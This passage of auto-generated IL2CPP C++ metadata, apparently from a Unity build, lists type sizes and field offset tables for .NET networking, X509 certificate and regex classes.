HttpWebRequest_t1951404513::get_offset_of_keepAlive_15(),
HttpWebRequest_t1951404513::get_offset_of_maxAutoRedirect_16(),
HttpWebRequest_t1951404513::get_offset_of_mediaType_17(),
HttpWebRequest_t1951404513::get_offset_of_method_18(),
HttpWebRequest_t1951404513::get_offset_of_initialMethod_19(),
HttpWebRequest_t1951404513::get_offset_of_pipelined_20(),
HttpWebRequest_t1951404513::get_offset_of_version_21(),
HttpWebRequest_t1951404513::get_offset_of_proxy_22(),
HttpWebRequest_t1951404513::get_offset_of_sendChunked_23(),
HttpWebRequest_t1951404513::get_offset_of_servicePoint_24(),
HttpWebRequest_t1951404513::get_offset_of_timeout_25(),
HttpWebRequest_t1951404513::get_offset_of_redirects_26(),
HttpWebRequest_t1951404513::get_offset_of_locker_27(),
HttpWebRequest_t1951404513_StaticFields::get_offset_of_defaultMaxResponseHeadersLength_28(),
HttpWebRequest_t1951404513::get_offset_of_readWriteTimeout_29(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize918 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize919 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize920 = { sizeof (IPAddress_t1399971723), -1, sizeof(IPAddress_t1399971723_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable920[11] =
{
IPAddress_t1399971723::get_offset_of_m_Address_0(),
IPAddress_t1399971723::get_offset_of_m_Family_1(),
IPAddress_t1399971723::get_offset_of_m_Numbers_2(),
IPAddress_t1399971723::get_offset_of_m_ScopeId_3(),
IPAddress_t1399971723_StaticFields::get_offset_of_Any_4(),
IPAddress_t1399971723_StaticFields::get_offset_of_Broadcast_5(),
IPAddress_t1399971723_StaticFields::get_offset_of_Loopback_6(),
IPAddress_t1399971723_StaticFields::get_offset_of_None_7(),
IPAddress_t1399971723_StaticFields::get_offset_of_IPv6Any_8(),
IPAddress_t1399971723_StaticFields::get_offset_of_IPv6Loopback_9(),
IPAddress_t1399971723_StaticFields::get_offset_of_IPv6None_10(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize921 = { sizeof (IPv6Address_t2596635879), -1, sizeof(IPv6Address_t2596635879_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable921[5] =
{
IPv6Address_t2596635879::get_offset_of_address_0(),
IPv6Address_t2596635879::get_offset_of_prefixLength_1(),
IPv6Address_t2596635879::get_offset_of_scopeId_2(),
IPv6Address_t2596635879_StaticFields::get_offset_of_Loopback_3(),
IPv6Address_t2596635879_StaticFields::get_offset_of_Unspecified_4(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize922 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize923 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize924 = { sizeof (SecurityProtocolType_t3099771628)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable924[3] =
{
SecurityProtocolType_t3099771628::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize925 = { sizeof (ServicePoint_t2765344313), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable925[11] =
{
ServicePoint_t2765344313::get_offset_of_uri_0(),
ServicePoint_t2765344313::get_offset_of_connectionLimit_1(),
ServicePoint_t2765344313::get_offset_of_maxIdleTime_2(),
ServicePoint_t2765344313::get_offset_of_currentConnections_3(),
ServicePoint_t2765344313::get_offset_of_idleSince_4(),
ServicePoint_t2765344313::get_offset_of_usesProxy_5(),
ServicePoint_t2765344313::get_offset_of_sendContinue_6(),
ServicePoint_t2765344313::get_offset_of_useConnect_7(),
ServicePoint_t2765344313::get_offset_of_locker_8(),
ServicePoint_t2765344313::get_offset_of_hostE_9(),
ServicePoint_t2765344313::get_offset_of_useNagle_10(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize926 = { sizeof (ServicePointManager_t745663000), -1, sizeof(ServicePointManager_t745663000_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable926[10] =
{
ServicePointManager_t745663000_StaticFields::get_offset_of_servicePoints_0(),
ServicePointManager_t745663000_StaticFields::get_offset_of_policy_1(),
ServicePointManager_t745663000_StaticFields::get_offset_of_defaultConnectionLimit_2(),
ServicePointManager_t745663000_StaticFields::get_offset_of_maxServicePointIdleTime_3(),
ServicePointManager_t745663000_StaticFields::get_offset_of_maxServicePoints_4(),
ServicePointManager_t745663000_StaticFields::get_offset_of__checkCRL_5(),
ServicePointManager_t745663000_StaticFields::get_offset_of__securityProtocol_6(),
ServicePointManager_t745663000_StaticFields::get_offset_of_expectContinue_7(),
ServicePointManager_t745663000_StaticFields::get_offset_of_useNagle_8(),
ServicePointManager_t745663000_StaticFields::get_offset_of_server_cert_cb_9(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize927 = { sizeof (SPKey_t1552752485), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable927[2] =
{
SPKey_t1552752485::get_offset_of_uri_0(),
SPKey_t1552752485::get_offset_of_use_connect_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize928 = { sizeof (WebHeaderCollection_t3028142837), -1, sizeof(WebHeaderCollection_t3028142837_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable928[5] =
{
WebHeaderCollection_t3028142837_StaticFields::get_offset_of_restricted_12(),
WebHeaderCollection_t3028142837_StaticFields::get_offset_of_multiValue_13(),
WebHeaderCollection_t3028142837_StaticFields::get_offset_of_restricted_response_14(),
WebHeaderCollection_t3028142837::get_offset_of_internallyCreated_15(),
WebHeaderCollection_t3028142837_StaticFields::get_offset_of_allowed_chars_16(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize929 = { sizeof (WebProxy_t1169192840), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable929[5] =
{
WebProxy_t1169192840::get_offset_of_address_0(),
WebProxy_t1169192840::get_offset_of_bypassOnLocal_1(),
WebProxy_t1169192840::get_offset_of_bypassList_2(),
WebProxy_t1169192840::get_offset_of_credentials_3(),
WebProxy_t1169192840::get_offset_of_useDefaultCredentials_4(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize930 = { sizeof (WebRequest_t1365124353), -1, sizeof(WebRequest_t1365124353_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable930[5] =
{
WebRequest_t1365124353_StaticFields::get_offset_of_prefixes_1(),
WebRequest_t1365124353_StaticFields::get_offset_of_isDefaultWebProxySet_2(),
WebRequest_t1365124353_StaticFields::get_offset_of_defaultWebProxy_3(),
WebRequest_t1365124353::get_offset_of_authentication_level_4(),
WebRequest_t1365124353_StaticFields::get_offset_of_lockobj_5(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize931 = { sizeof (OpenFlags_t2370524385)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable931[6] =
{
OpenFlags_t2370524385::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize932 = { sizeof (PublicKey_t870392), -1, sizeof(PublicKey_t870392_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable932[5] =
{
PublicKey_t870392::get_offset_of__key_0(),
PublicKey_t870392::get_offset_of__keyValue_1(),
PublicKey_t870392::get_offset_of__params_2(),
PublicKey_t870392::get_offset_of__oid_3(),
PublicKey_t870392_StaticFields::get_offset_of_U3CU3Ef__switchU24map9_4(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize933 = { sizeof (StoreLocation_t1570828128)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable933[3] =
{
StoreLocation_t1570828128::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize934 = { sizeof (StoreName_t2183514610)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable934[9] =
{
StoreName_t2183514610::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize935 = { sizeof (X500DistinguishedName_t452415348), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable935[1] =
{
X500DistinguishedName_t452415348::get_offset_of_name_3(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize936 = { sizeof (X500DistinguishedNameFlags_t2005802885)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable936[11] =
{
X500DistinguishedNameFlags_t2005802885::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize937 = { sizeof (X509BasicConstraintsExtension_t1562873317), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable937[6] =
{
0,
0,
X509BasicConstraintsExtension_t1562873317::get_offset_of__certificateAuthority_6(),
X509BasicConstraintsExtension_t1562873317::get_offset_of__hasPathLengthConstraint_7(),
X509BasicConstraintsExtension_t1562873317::get_offset_of__pathLengthConstraint_8(),
X509BasicConstraintsExtension_t1562873317::get_offset_of__status_9(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize938 = { sizeof (X509Certificate2_t4056456767), -1, sizeof(X509Certificate2_t4056456767_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable938[13] =
{
X509Certificate2_t4056456767::get_offset_of__archived_5(),
X509Certificate2_t4056456767::get_offset_of__extensions_6(),
X509Certificate2_t4056456767::get_offset_of__name_7(),
X509Certificate2_t4056456767::get_offset_of__serial_8(),
X509Certificate2_t4056456767::get_offset_of__publicKey_9(),
X509Certificate2_t4056456767::get_offset_of_issuer_name_10(),
X509Certificate2_t4056456767::get_offset_of_subject_name_11(),
X509Certificate2_t4056456767::get_offset_of_signature_algorithm_12(),
X509Certificate2_t4056456767::get_offset_of__cert_13(),
X509Certificate2_t4056456767_StaticFields::get_offset_of_empty_error_14(),
X509Certificate2_t4056456767_StaticFields::get_offset_of_commonName_15(),
X509Certificate2_t4056456767_StaticFields::get_offset_of_email_16(),
X509Certificate2_t4056456767_StaticFields::get_offset_of_signedData_17(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize939 = { sizeof (X509Certificate2Collection_t1108969367), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize940 = { sizeof (X509Certificate2Enumerator_t2356134957), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable940[1] =
{
X509Certificate2Enumerator_t2356134957::get_offset_of_enumerator_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize941 = { sizeof (X509CertificateCollection_t1197680765), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize942 = { sizeof (X509CertificateEnumerator_t1208230922), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable942[1] =
{
X509CertificateEnumerator_t1208230922::get_offset_of_enumerator_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize943 = { sizeof (X509Chain_t777637347), -1, sizeof(X509Chain_t777637347_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable943[15] =
{
X509Chain_t777637347::get_offset_of_location_0(),
X509Chain_t777637347::get_offset_of_elements_1(),
X509Chain_t777637347::get_offset_of_policy_2(),
X509Chain_t777637347::get_offset_of_status_3(),
X509Chain_t777637347_StaticFields::get_offset_of_Empty_4(),
X509Chain_t777637347::get_offset_of_max_path_length_5(),
X509Chain_t777637347::get_offset_of_working_issuer_name_6(),
X509Chain_t777637347::get_offset_of_working_public_key_7(),
X509Chain_t777637347::get_offset_of_bce_restriction_8(),
X509Chain_t777637347::get_offset_of_roots_9(),
X509Chain_t777637347::get_offset_of_cas_10(),
X509Chain_t777637347::get_offset_of_collection_11(),
X509Chain_t777637347_StaticFields::get_offset_of_U3CU3Ef__switchU24mapB_12(),
X509Chain_t777637347_StaticFields::get_offset_of_U3CU3Ef__switchU24mapC_13(),
X509Chain_t777637347_StaticFields::get_offset_of_U3CU3Ef__switchU24mapD_14(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize944 = { sizeof (X509ChainElement_t528874471), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable944[4] =
{
X509ChainElement_t528874471::get_offset_of_certificate_0(),
X509ChainElement_t528874471::get_offset_of_status_1(),
X509ChainElement_t528874471::get_offset_of_info_2(),
X509ChainElement_t528874471::get_offset_of_compressed_status_flags_3(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize945 = { sizeof (X509ChainElementCollection_t2081831987), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable945[1] =
{
X509ChainElementCollection_t2081831987::get_offset_of__list_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize946 = { sizeof (X509ChainElementEnumerator_t3304975821), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable946[1] =
{
X509ChainElementEnumerator_t3304975821::get_offset_of_enumerator_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize947 = { sizeof (X509ChainPolicy_t3452126517), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable947[8] =
{
X509ChainPolicy_t3452126517::get_offset_of_apps_0(),
X509ChainPolicy_t3452126517::get_offset_of_cert_1(),
X509ChainPolicy_t3452126517::get_offset_of_store_2(),
X509ChainPolicy_t3452126517::get_offset_of_rflag_3(),
X509ChainPolicy_t3452126517::get_offset_of_mode_4(),
X509ChainPolicy_t3452126517::get_offset_of_timeout_5(),
X509ChainPolicy_t3452126517::get_offset_of_vflags_6(),
X509ChainPolicy_t3452126517::get_offset_of_vtime_7(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize948 = { sizeof (X509ChainStatus_t4278378721)+ sizeof (Il2CppObject), sizeof(X509ChainStatus_t4278378721_marshaled_pinvoke), 0, 0 };
extern const int32_t g_FieldOffsetTable948[2] =
{
X509ChainStatus_t4278378721::get_offset_of_status_0() + static_cast<int32_t>(sizeof(Il2CppObject)),
X509ChainStatus_t4278378721::get_offset_of_info_1() + static_cast<int32_t>(sizeof(Il2CppObject)),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize949 = { sizeof (X509ChainStatusFlags_t480677120)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable949[24] =
{
X509ChainStatusFlags_t480677120::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize950 = { sizeof (X509EnhancedKeyUsageExtension_t2099881051), -1, sizeof(X509EnhancedKeyUsageExtension_t2099881051_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable950[3] =
{
X509EnhancedKeyUsageExtension_t2099881051::get_offset_of__enhKeyUsage_4(),
X509EnhancedKeyUsageExtension_t2099881051::get_offset_of__status_5(),
X509EnhancedKeyUsageExtension_t2099881051_StaticFields::get_offset_of_U3CU3Ef__switchU24mapE_6(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize951 = { sizeof (X509Extension_t1320896183), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable951[1] =
{
X509Extension_t1320896183::get_offset_of__critical_3(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize952 = { sizeof (X509ExtensionCollection_t650873211), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable952[1] =
{
X509ExtensionCollection_t650873211::get_offset_of__list_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize953 = { sizeof (X509ExtensionEnumerator_t3763443773), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable953[1] =
{
X509ExtensionEnumerator_t3763443773::get_offset_of_enumerator_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize954 = { sizeof (X509FindType_t3221716179)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable954[16] =
{
X509FindType_t3221716179::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize955 = { sizeof (X509KeyUsageExtension_t1038124237), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable955[5] =
{
0,
0,
0,
X509KeyUsageExtension_t1038124237::get_offset_of__keyUsages_7(),
X509KeyUsageExtension_t1038124237::get_offset_of__status_8(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize956 = { sizeof (X509KeyUsageFlags_t2461349531)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable956[11] =
{
X509KeyUsageFlags_t2461349531::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize957 = { sizeof (X509NameType_t2669466891)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable957[7] =
{
X509NameType_t2669466891::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize958 = { sizeof (X509RevocationFlag_t2166064554)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable958[4] =
{
X509RevocationFlag_t2166064554::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize959 = { sizeof (X509RevocationMode_t2065307963)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable959[4] =
{
X509RevocationMode_t2065307963::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize960 = { sizeof (X509Store_t1617430119), -1, sizeof(X509Store_t1617430119_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable960[6] =
{
X509Store_t1617430119::get_offset_of__name_0(),
X509Store_t1617430119::get_offset_of__location_1(),
X509Store_t1617430119::get_offset_of_list_2(),
X509Store_t1617430119::get_offset_of__flags_3(),
X509Store_t1617430119::get_offset_of_store_4(),
X509Store_t1617430119_StaticFields::get_offset_of_U3CU3Ef__switchU24mapF_5(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize961 = { sizeof (X509SubjectKeyIdentifierExtension_t2508879999), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable961[5] =
{
0,
0,
X509SubjectKeyIdentifierExtension_t2508879999::get_offset_of__subjectKeyIdentifier_6(),
X509SubjectKeyIdentifierExtension_t2508879999::get_offset_of__ski_7(),
X509SubjectKeyIdentifierExtension_t2508879999::get_offset_of__status_8(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize962 = { sizeof (X509SubjectKeyIdentifierHashAlgorithm_t110301003)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable962[4] =
{
X509SubjectKeyIdentifierHashAlgorithm_t110301003::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize963 = { sizeof (X509VerificationFlags_t2169036324)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable963[15] =
{
X509VerificationFlags_t2169036324::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize964 = { sizeof (AsnDecodeStatus_t1962003286)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable964[7] =
{
AsnDecodeStatus_t1962003286::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize965 = { sizeof (AsnEncodedData_t463456204), -1, sizeof(AsnEncodedData_t463456204_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable965[3] =
{
AsnEncodedData_t463456204::get_offset_of__oid_0(),
AsnEncodedData_t463456204::get_offset_of__raw_1(),
AsnEncodedData_t463456204_StaticFields::get_offset_of_U3CU3Ef__switchU24mapA_2(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize966 = { sizeof (Oid_t3221867120), -1, sizeof(Oid_t3221867120_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable966[3] =
{
Oid_t3221867120::get_offset_of__value_0(),
Oid_t3221867120::get_offset_of__name_1(),
Oid_t3221867120_StaticFields::get_offset_of_U3CU3Ef__switchU24map10_2(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize967 = { sizeof (OidCollection_t3790243618), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable967[2] =
{
OidCollection_t3790243618::get_offset_of__list_0(),
OidCollection_t3790243618::get_offset_of__readOnly_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize968 = { sizeof (OidEnumerator_t3674631724), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable968[2] =
{
OidEnumerator_t3674631724::get_offset_of__collection_0(),
OidEnumerator_t3674631724::get_offset_of__position_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize969 = { sizeof (BaseMachine_t4008011478), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable969[1] =
{
BaseMachine_t4008011478::get_offset_of_needs_groups_or_captures_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize970 = { sizeof (Capture_t4157900610), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable970[3] =
{
Capture_t4157900610::get_offset_of_index_0(),
Capture_t4157900610::get_offset_of_length_1(),
Capture_t4157900610::get_offset_of_text_2(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize971 = { sizeof (CaptureCollection_t1671345504), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable971[1] =
{
CaptureCollection_t1671345504::get_offset_of_list_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize972 = { sizeof (Group_t3761430853), -1, sizeof(Group_t3761430853_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable972[3] =
{
Group_t3761430853_StaticFields::get_offset_of_Fail_3(),
Group_t3761430853::get_offset_of_success_4(),
Group_t3761430853::get_offset_of_captures_5(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize973 = { sizeof (GroupCollection_t939014605), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable973[2] =
{
GroupCollection_t939014605::get_offset_of_list_0(),
GroupCollection_t939014605::get_offset_of_gap_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize974 = { sizeof (Match_t3164245899), -1, sizeof(Match_t3164245899_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable974[5] =
{
Match_t3164245899::get_offset_of_regex_6(),
Match_t3164245899::get_offset_of_machine_7(),
Match_t3164245899::get_offset_of_text_length_8(),
Match_t3164245899::get_offset_of_groups_9(),
Match_t3164245899_StaticFields::get_offset_of_empty_10(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize975 = { sizeof (MatchCollection_t3718216671), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable975[2] =
{
MatchCollection_t3718216671::get_offset_of_current_0(),
MatchCollection_t3718216671::get_offset_of_list_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize976 = { sizeof (Enumerator_t501456973), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable976[2] =
{
Enumerator_t501456973::get_offset_of_index_0(),
Enumerator_t501456973::get_offset_of_coll_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize977 = { sizeof (Regex_t1803876613), -1, sizeof(Regex_t1803876613_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable977[9] =
{
Regex_t1803876613_StaticFields::get_offset_of_cache_0(),
Regex_t1803876613::get_offset_of_machineFactory_1(),
Regex_t1803876613::get_offset_of_mapping_2(),
Regex_t1803876613::get_offset_of_group_count_3(),
Regex_t1803876613::get_offset_of_gap_4(),
Regex_t1803876613::get_offset_of_group_names_5(),
Regex_t1803876613::get_offset_of_group_numbers_6(),
Regex_t1803876613::get_offset_of_pattern_7(),
Regex_t1803876613::get_offset_of_roptions_8(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize978 = { sizeof (RegexOptions_t2418259727)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable978[10] =
{
RegexOptions_t2418259727::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize979 = { sizeof (OpCode_t586571952)+ sizeof (Il2CppObject), sizeof(uint16_t), 0, 0 };
extern const int32_t g_FieldOffsetTable979[26] =
{
OpCode_t586571952::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize980 = { sizeof (OpFlags_t378191910)+ sizeof (Il2CppObject), sizeof(uint16_t), 0, 0 };
extern const int32_t g_FieldOffsetTable980[6] =
{
OpFlags_t378191910::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize981 = { sizeof (Position_t3781184359)+ sizeof (Il2CppObject), sizeof(uint16_t), 0, 0 };
extern const int32_t g_FieldOffsetTable981[11] =
{
Position_t3781184359::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize982 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize983 = { 0, -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize984 = { sizeof (FactoryCache_t2051534610), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable984[3] =
{
FactoryCache_t2051534610::get_offset_of_capacity_0(),
FactoryCache_t2051534610::get_offset_of_factories_1(),
FactoryCache_t2051534610::get_offset_of_mru_list_2(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize985 = { sizeof (Key_t655155419), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable985[2] =
{
Key_t655155419::get_offset_of_pattern_0(),
Key_t655155419::get_offset_of_options_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize986 = { sizeof (MRUList_t33178162), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable986[2] =
{
MRUList_t33178162::get_offset_of_head_0(),
MRUList_t33178162::get_offset_of_tail_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize987 = { sizeof (Node_t1107172180), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable987[3] =
{
Node_t1107172180::get_offset_of_value_0(),
Node_t1107172180::get_offset_of_previous_1(),
Node_t1107172180::get_offset_of_next_2(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize988 = { sizeof (Category_t1984577050)+ sizeof (Il2CppObject), sizeof(uint16_t), 0, 0 };
extern const int32_t g_FieldOffsetTable988[146] =
{
Category_t1984577050::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize989 = { sizeof (CategoryUtils_t3840220623), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize990 = { sizeof (LinkRef_t2090853131), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize991 = { 0, -1, 0, 0 };
